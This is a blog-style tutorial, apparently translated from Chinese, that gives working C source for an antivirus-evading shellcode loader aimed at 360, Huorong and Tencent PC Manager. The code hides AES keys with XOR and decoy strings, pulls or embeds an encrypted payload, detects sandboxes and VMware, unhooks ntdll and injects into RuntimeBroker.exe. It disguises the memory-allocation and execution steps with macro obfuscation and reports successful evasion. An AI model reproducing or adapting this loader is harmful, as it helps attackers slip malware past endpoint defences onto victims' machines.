Skip to content

AV Evasion Techniques Discussion (Part 1)

Discussion of AV evasion techniques for bypassing mainstream security products: 360, Huorong, and Tencent PC Manager.

Here I implemented AV evasion in C. It can bypass common domestic antivirus products such as 360 and others.

The general idea is to encrypt and hide the shellcode, then retrieve and decrypt it remotely, or hard-code it into the file and decrypt it locally. Here I use AES encryption, and after decryption the payload is loaded and executed.

Obtaining the key and IV

For AES encryption, I used an existing C library I found online. AES uses a KEY and IV. I did not want the KEY and IV to appear together in memory. At first I assigned them one by one in an array, but that still did not work. In the end, I used an XOR function. When the key and IV are needed, the function is used to obtain them, so the key and IV cannot be seen directly in memory.

static  char* GetEncryptionKey()
{
    staticchar data[] = {
    'a' ^ (0x27 - 0), 'o' ^ (0x27 - 1), 't' ^ (0x27 - 2), 'e' ^ (0x27 - 3), 'm' ^ (0x27 - 4), 'a' ^ (0x27 - 5), 'n' ^ (0x27 - 6),
    'x' ^ (0x27 - 7), 'i' ^ (0x27 - 8), 'a' ^ (0x27 - 9), 'o' ^ (0x27 - 10), 'g' ^ (0x27 - 11), 'u' ^ (0x27 - 12), 'a' ^ (0x27 - 13), 'i' ^ (0x27 - 14), 's' ^ (0x27 - 15),
    '\0'
};
    staticbool isEncrypted = true;
    if (isEncrypted)
    {
        for (unsigned i = 0; i < (sizeof(data) / sizeof(data[0])) - 1; ++i)
            {
                data[i] = (data[i] ^ (0x27 - i));
            }
        isEncrypted = false;
    }
    return data;
}

As you can see, this function achieves the effect. The key and IV can no longer be seen in WinHex.

Obtaining a random string

Then I wanted to add an obfuscation layer around my key and IV, so that others would think the strings they see in tools such as WinHex are the correct key and IV, when in fact they are randomly generated strings.

int get_random_str(char* random_str, const int random_len)
{
	int i, random_num, seed_str_len;
	struct timeval tv;
	unsignedint seed_num;
	char seed_str[] = "abcdefghijklmnopqrstuvwxyz"
		"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; //随机字符串的随机字符集

	seed_str_len = strlen(seed_str);
	int gettimeofday(struct timeval* tp, void* tzp);
	gettimeofday(&tv, NULL);
	seed_num = (unsignedint)(tv.tv_sec + tv.tv_usec); //超了unsigned int的范围也无所谓,我们要的只是不同的种子数字
	srand(seed_num);

	for (i = 0; i < random_len; i++)
	{
		random_num = rand() % seed_str_len;
		random_str[i] = seed_str[random_num];
	}

	return0;
}
int gettimeofday(struct timeval* tp, void* tzp)
{
	time_t clock;
	struct tm tm;
	SYSTEMTIME wtm;

	GetLocalTime(&wtm);
	tm.tm_year = wtm.wYear - 1900;
	tm.tm_mon = wtm.wMonth - 1;
	tm.tm_mday = wtm.wDay;
	tm.tm_hour = wtm.wHour;
	tm.tm_min = wtm.wMinute;
	tm.tm_sec = wtm.wSecond;
	tm.tm_isdst = -1;

	clock = mktime(&tm);
	tp->tv_sec = clock;
	tp->tv_usec = wtm.wMilliseconds * 1000;
	return (0);
}

AES decryption

AES encryption and decryption are used here.

Those who came before planted the trees; those who come after enjoy the shade.

https://github.com/fengwenhua/lazy_importer_aav

This is the function after my modifications. The encryption and decryption are AES + Base64.

One note: during encryption, the \x in machine code such as \x64\x38 needs to be removed.

string DecryptionAES(const string& strSrc)
{
	string strData = base64_decode(strSrc);
	size_t length = strData.length();
	 char* key1 = GetEncryptionKey();
	char a[17];
	strcpy(a, key1);

	 char* key2 = GetEncryptionKey2();
	char b[17];
	strcpy(b, key2);
	char* szDataIn = newchar[length + 1];
	memcpy(szDataIn, strData.c_str(), length + 1);

	char* szDataOut = newchar[length + 1];
	memcpy(szDataOut, strData.c_str(), length + 1);

	AES aes;
	aes.MakeKey(a, b, 16, 16);
	aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);


	if (0x00 < szDataOut[length - 1] <= 0x16)
	{
		int tmp = szDataOut[length - 1];
		for (int i = length - 1; i >= length - tmp; i--)
		{
			if (szDataOut[i] != tmp)
			{
				memset(szDataOut, 0, length);
				break;
			}
			else
				szDataOut[i] = 0;
		}
	}
	string strDest(szDataOut);
	delete[] szDataIn;
	delete[] szDataOut;
	return strDest;
}

Remote retrieval

Remote retrieval is implemented here. It fetches the encrypted shell you placed on a web page.

LPSTR GetInterNetURLText(LPSTR lpcInterNetURL, char* buff)
{
	HINTERNET hSession;
	LPSTR lpResult = NULL;
	hSession = InternetOpen(_T("WinInet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	__try
	{
		if (hSession != NULL)
		{
			HINTERNET hRequest;
			hRequest = InternetOpenUrlA(hSession, lpcInterNetURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
			__try
			{
				if (hRequest != NULL)
				{
					DWORD dwBytesRead;
					char szBuffer[BUF_SIZE] = { 0 };

					if (InternetReadFile(hRequest, szBuffer, BUF_SIZE, &dwBytesRead))
					{
						RtlMoveMemory(buff, szBuffer, BUF_SIZE);
						return0;
					}
				}
			}
			__finally
			{
				InternetCloseHandle(hRequest);
			}
		}
	}
	__finally
	{
		InternetCloseHandle(hSession);
	}
	return lpResult;
}

Bypassing sandboxes and virtual machines

//先绕沙箱
BypassSimulation();

check();
ULONG uptime = GetTickCount();
if (uptime >= 10 * 60 * 1000) {
	MessageBox(NULL, L"程序异常!", L"异常,请稍后", MB_OK | MB_ICONERROR);
}
else {
	exit(1);
}

UNHOOKntdll();





DWORD UNHOOKntdll() {
	MODULEINFO mi = {};
	HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
	GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
	LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll",
		GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL,
		PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase +
		hookedDosHeader->e_lfanew);
	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
	{
		PIMAGE_SECTION_HEADER hookedSectionHeader =
			(PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader)
				+ ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase
				+ (DWORD_PTR)hookedSectionHeader->VirtualAddress),
				hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy((LPVOID)((DWORD_PTR)ntdllBase +
				(DWORD_PTR)hookedSectionHeader->VirtualAddress),
				(LPVOID)((DWORD_PTR)ntdllMappingAddress
					+ (DWORD_PTR)hookedSectionHeader->VirtualAddress),
				hookedSectionHeader->Misc.VirtualSize);
			isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase +
				(DWORD_PTR)hookedSectionHeader->VirtualAddress),
				hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}
}

void BypassSimulation()
{

	HANDLE snapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if (INVALID_HANDLE_VALUE == snapShot)
	{
		return;
	}
	PROCESSENTRY32 pe = { sizeof(pe) };

	int num = 0;
	for (BOOL ret = Process32First(snapShot, &pe); ret; ret = Process32Next(snapShot, &pe))
	{
		num++;
	}
	if (num <= 60)
	{
		exit(1);
	}

}
void RunCode() {}

int check1() {

	LANGID langId = GetUserDefaultUILanguage();
	if (PRIMARYLANGID(langId) == LANG_CHINESE)
	{
		RunCode();
	}
	else
	{
		exit(1);

	}
	return0;

}
bool checkReg() {
	HKEY hkey;
	if (RegOpenKey(HKEY_CLASSES_ROOT, L"\\Applications\\VMwareHostOpen.exe",
		&hkey) == ERROR_SUCCESS) {
		returntrue;
	}
	else {
		returnfalse;
	}

}
bool checkfile() {
	WIN32_FIND_DATAW findFileData;
	if (FindFirstFileW(L"C:\\Program Files\\VMware\\VMware Tools\\VMToolsHook.dll",
		&findFileData) == INVALID_HANDLE_VALUE)
		returnfalse;
}
bool CheckProcess() {
		HANDLE hProcessSnap;
		HANDLE hProcess;
		PROCESSENTRY32 pe32;
		DWORD pid = 0;
		hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		if (hProcessSnap == INVALID_HANDLE_VALUE)
		{
			CloseHandle(hProcessSnap);
			exit(-1);
		}

		pe32.dwSize = sizeof(PROCESSENTRY32);

		BOOL bRet = Process32First(hProcessSnap, &pe32);
		if (!bRet)
		{
			exit(-2);
		}
		while (bRet)
		{
			if (wcscmp(pe32.szExeFile, L"vmtoolsd.exe") == 0) {
				pid = pe32.th32ProcessID;
				returntrue;
			}
			if (wcscmp(pe32.szExeFile, L"vmwaretrat.exe") == 0) {
				pid = pe32.th32ProcessID;
				returntrue;
			}
			if (wcscmp(pe32.szExeFile, L"vmwareuser.exe") == 0) {
				pid = pe32.th32ProcessID;
				returntrue;
			}
			if (wcscmp(pe32.szExeFile, L"vmacthlp.exe") == 0) {
				pid = pe32.th32ProcessID;
				returntrue;
			}
			bRet = Process32Next(hProcessSnap, &pe32);
		}
		hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
		CloseHandle(hProcessSnap);
		returnfalse;
}

Delayed execution:

int iResult;
DWORD timeout = delay;
DWORD OK = TRUE;

SOCKADDR_IN sa = { 0 };
SOCKET sock = INVALID_SOCKET;


do {
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("8.8.8.8");    
    sa.sin_port = htons(80);

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        OK = FALSE;
        break;
    }

    // setting socket timeout
    unsignedlong iMode = 1;
    iResult = ioctlsocket(sock, FIONBIO, &iMode);

    iResult = connect(sock, (SOCKADDR*)&sa, sizeof(sa));
    if (iResult == false) {
        OK = FALSE;
        break;
    }

    iMode = 0;
    iResult = ioctlsocket(sock, FIONBIO, &iMode);
    if (iResult != NO_ERROR) {
        OK = FALSE;
        break;
    }

    // fd set data
    fd_set Write, Err;
    FD_ZERO(&Write);
    FD_ZERO(&Err);
    FD_SET(sock, &Write);
    FD_SET(sock, &Err);
    timeval tv = { 0 };
    tv.tv_usec = timeout * 1000;

    // 检查套接字是否准备就绪,此调用应占用超时毫秒
    select(0, NULL, &Write, &Err, &tv);
    
    if (FD_ISSET(sock, &Err)) {
        OK = FALSE;
        break;
    }

} while (false);

if (sock != INVALID_SOCKET)
    closesocket(sock);
VOID CALLBACK TimerFunction(UINT uTimerID, UINT uMsg, DWORD_PTR dwUser, DWORD_PTR dw1, DWORD_PTR dw2)
{
    bProcessed = TRUE;
}

VOID timing_timeSetEvent(UINT delayInSeconds)
{
    
    UINT uResolution;
    TIMECAPS tc;
    MMRESULT idEvent;

   
    timeGetDevCaps(&tc, sizeof(TIMECAPS));
    uResolution = min(max(tc.wPeriodMin, 0), tc.wPeriodMax);

    
    idEvent = timeSetEvent(
        delayInSeconds,
        uResolution,
        TimerFunction,
        0,
        TIME_ONESHOT);

    while (!bProcessed){
        
        Sleep(0);
    }

    
    timeKillEvent(idEvent);

    
    timeEndPeriod(uResolution);
}

Process injection

Process injection is used here. It is too difficult: 360 directly detects it.

Still, take a look. This function finds the corresponding process and injects into it.

static int getpid()
{
	HANDLE hProcessSnap;
	HANDLE hProcess;
	PROCESSENTRY32 pe32;
	DWORD pid = 0;


	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE)
	{
		CloseHandle(hProcessSnap);
		exit(-1);
	}

	pe32.dwSize = sizeof(PROCESSENTRY32);

	BOOL bRet = Process32First(hProcessSnap, &pe32);
	if (!bRet)
	{
		exit(-2);
	}
	while (bRet)
	{
		if (wcscmp(pe32.szExeFile, L"RuntimeBroker.exe") == 0) {
			pid = pe32.th32ProcessID;
			break;
		}
		bRet = Process32Next(hProcessSnap, &pe32);
	}
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	CloseHandle(hProcessSnap);
	return pe32.th32ProcessID;
}

Main function

This is my main function. The strange-looking parts inside it were obfuscated with a code obfuscation tool.

img

Tool download address:

https://zhiji.lanzoul.com/iChqv1nbdszc

The comments are the original ones.

int main(int argc, char* argv[])
{
	ULONG uptime = GetTickCount();
	BypassSimulation();
	check1();
	//if(checkReg()){ exit(1); }
 //   if (checkfile()) { exit(1); }
	//if (CheckProcess()) { exit(1); }
    if (uptime >= 10 * 60 * 1000) {
		MessageBox(NULL, L"程序异常!", L"异常,请稍后", MB_OK | MB_ICONERROR);
	}
	else {
		exit(1);
	}

	
	UNHOOKntdll();



	int pid;
	pid = getpid();
	//char buf[BUF_SIZE] = { 0 };
    // char url[MAX_PATH] = "http://192.168.1.122:8000/1.txt";
    //GetInterNetURLText(url, buf);
	char buf[] = "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";
	
	
	//string strbuf = DecryptionAES(buf);
	//char buff[BUF_SIZE] = { 0 };
	//int num=0;
	//for (int i = 0; i < strbuf.length(); i++,num++) {
	//	buff[i] = strbuf[i];
	//}

#define C14 DecryptionAES(buf);
#define C13 strbuf.length();
#define C12 buff[BUF_SIZE]
#define C11 i++,num++)
#define C10 strbuf[i];
#define CF buff[i]
#define CE num=0;
#define CD strbuf
#define CC string
#define CB (int
#define CA char
#define C9 for
#define C8 int
#define C7 0;
#define C6 };
#define C5 0
#define C4 <
#define C3 =
#define C2 i
#define C1 {
#define C0 }
#define C15 CC CD C3 C14 CA C12 C3 C1 C5 C6
#define C16 C8 CE C9 CB C2 C3 C7 C2 C4 C13
#define C17 C11 C1 CF C3 C10 C0 
#define C18 C15 C16 C17 
#define C19(__FOX__) __FOX__
	C19(C18)
	//char* p = buff;
	//unsigned char* abcd = (unsigned char*)calloc(strlen(buff) / 2, sizeof(unsigned char));
	//for (size_t i = 0; i < strlen(buff) / 2; i++) {
	//	sscanf(p, "%2hhx", &abcd[i]);
	//	p += 2;
	//}
#define A17 sscanf(p, "%2hhx", &abcd[i]);
#define A16 char*)calloc(strlen(buff)
#define A15 sizeof(unsigned
#define A14 strlen(buff)
#define A13 (unsigned
#define A12 unsigned
#define A11 (size_t
#define A10 char));
#define AF buff;
#define AE char*
#define AD abcd
#define AC i++)
#define AB for
#define AA +=
#define A9 0;
#define A8 2,
#define A7 2;
#define A6 /
#define A5 <
#define A4 =
#define A3 i
#define A2 p
#define A1 {
#define A0 }
#define A18 AE A2 A4 AF A12 AE AD A4 A13 A16
#define A19 A6 A8 A15 A10 AB A11 A3 A4 A9 A3
#define A1A A5 A14 A6 A7 AC A1 A17 A2 AA A7
#define A1B A0 
#define A1C A18 A19 A1A A1B 
#define A1D(__FOX__) __FOX__
	A1D(A1C)

	////先绕沙箱
	//BypassSimulation();

	//check();
	//ULONG uptime = GetTickCount();
	//if (uptime >= 10 * 60 * 1000) {
	//	MessageBox(NULL, L"程序异常!", L"异常,请稍后", MB_OK | MB_ICONERROR);
	//}
	//else {
	//	exit(1);
	//}

	//UNHOOKntdll();

	char str[14];

	get_random_str(str, 16);
	get_random_str(str, 16);

	HANDLE processHandle;
	HANDLE remoteThread;
	PVOID remoteBuffer;
	get_random_str(str, 16);
	SIZE_T bufSize = strlen(buff) / 2;
	get_random_str(str, 16);


	//BOOL pt;
	//DWORD oldProtect;
	//LPVOID zyhm;
	//zyhm = VirtualAlloc(NULL, bufSize, MEM_COMMIT, 0x04);
	//CopyMemory(zyhm, abcd, bufSize);
	//pt = VirtualProtect(zyhm, bufSize, 0x20, &oldProtect);
	//((void(*)())zyhm)();




#define F12 (LPSTR)VirtualAlloc(0,
#define F11 ((void(*)())zyhm)();
#define F10 VirtualProtect(zyhm,
#define FF PAGE_EXECUTE_READ,
#define FE PAGE_READWRITE);
#define FD &oldProtect);
#define FC memcpy(zyhm,
#define FB MEM_COMMIT,
#define FA oldProtect;
#define F9 bufSize);
#define F8 bufSize,
#define F7 DWORD
	get_random_str(str, 16);
#define F6 LPSTR
#define F5 abcd,
	get_random_str(str, 16);
#define F4 BOOL
#define F3 zyhm
#define F2 pt;
#define F1 pt
#define F0 =
#define F13 F7 FA F4 F2 F6 F3 F0 F12 F8 FB
#define F14 FE FC F5 F9 F1 F0 F10 F8 FF FD
#define F15 F11 
#define F16 F13 F14 F15 
#define F17(__FOX__) __FOX__
F17(F16)

	//DWORD oldProtect;
	//BOOL pt;
	//LPSTR zyhm = (LPSTR)VirtualAlloc(0, bufSize, MEM_COMMIT, PAGE_READWRITE);
	//memcpy(zyhm, abcd, bufSize);
	//pt = VirtualProtect(zyhm, bufSize, PAGE_EXECUTE_READ, &oldProtect);
	//((void(*)())zyhm)();



//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(10216));
//remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
//WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
//remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
//CloseHandle(processHandle);


//#define J5 remoteThread = LI_FN(CreateRemoteThread)(processHandle, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, nullptr, 0, nullptr);
//#define J4 remoteBuffer = LI_FN(VirtualAllocEx)(processHandle, nullptr, bufSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
//#define J3 LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, abcd, bufSize, nullptr);
//#define J2 processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
//#define J1 LI_FN(CloseHandle)(processHandle);
//#define J0 get_random_str(str, 16);
//#define J6 J0 J2 J0 J4 J0 J3 J0 J5 J0 J1
//#define J7(__FOX__) __FOX__
//J7(J6)
	return0;

Loader

Here I will still provide the loader.

//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(10216));
//remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
//WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
//remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
//CloseHandle(processHandle);


//#define J5 remoteThread = LI_FN(CreateRemoteThread)(processHandle, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, nullptr, 0, nullptr);
//#define J4 remoteBuffer = LI_FN(VirtualAllocEx)(processHandle, nullptr, bufSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
//#define J3 LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, abcd, bufSize, nullptr);
//#define J2 processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
//#define J1 LI_FN(CloseHandle)(processHandle);
//#define J0 get_random_str(str, 16);
//#define J6 J0 J2 J0 J4 J0 J3 J0 J5 J0 J1
//#define J7(__FOX__) __FOX__
//J7(J6)
//BOOL pt;
	//DWORD oldProtect;
	//LPVOID zyhm;
	//zyhm = VirtualAlloc(NULL, bufSize, MEM_COMMIT, 0x04);
	//CopyMemory(zyhm, abcd, bufSize);
	//pt = VirtualProtect(zyhm, bufSize, 0x20, &oldProtect);
	//((void(*)())zyhm)();




#define F12 (LPSTR)VirtualAlloc(0,
#define F11 ((void(*)())zyhm)();
#define F10 VirtualProtect(zyhm,
#define FF PAGE_EXECUTE_READ,
#define FE PAGE_READWRITE);
#define FD &oldProtect);
#define FC memcpy(zyhm,
#define FB MEM_COMMIT,
#define FA oldProtect;
#define F9 bufSize);
#define F8 bufSize,
#define F7 DWORD
	get_random_str(str, 16);
#define F6 LPSTR
#define F5 abcd,
	get_random_str(str, 16);
#define F4 BOOL
#define F3 zyhm
#define F2 pt;
#define F1 pt
#define F0 =
#define F13 F7 FA F4 F2 F6 F3 F0 F12 F8 FB
#define F14 FE FC F5 F9 F1 F0 F10 F8 FF FD
#define F15 F11 
#define F16 F13 F14 F15 
#define F17(__FOX__) __FOX__
F17(F16)

//DWORD oldProtect;
//BOOL pt;
//LPSTR zyhm = (LPSTR)VirtualAlloc(0, bufSize, MEM_COMMIT, PAGE_READWRITE);
//memcpy(zyhm, abcd, bufSize);
//pt = VirtualProtect(zyhm, bufSize, PAGE_EXECUTE_READ, &oldProtect);
//((void(*)())zyhm)();

Final test results

img

img

img

AV-evasion online deployment:

img

Reference articles:

https://mp.weixin.qq.com/s/D9y4cVpU2ZFraokiHZJkYQ

https://github.com/fengwenhua/lazy_importer_aav

Last updated:

Released under the MIT License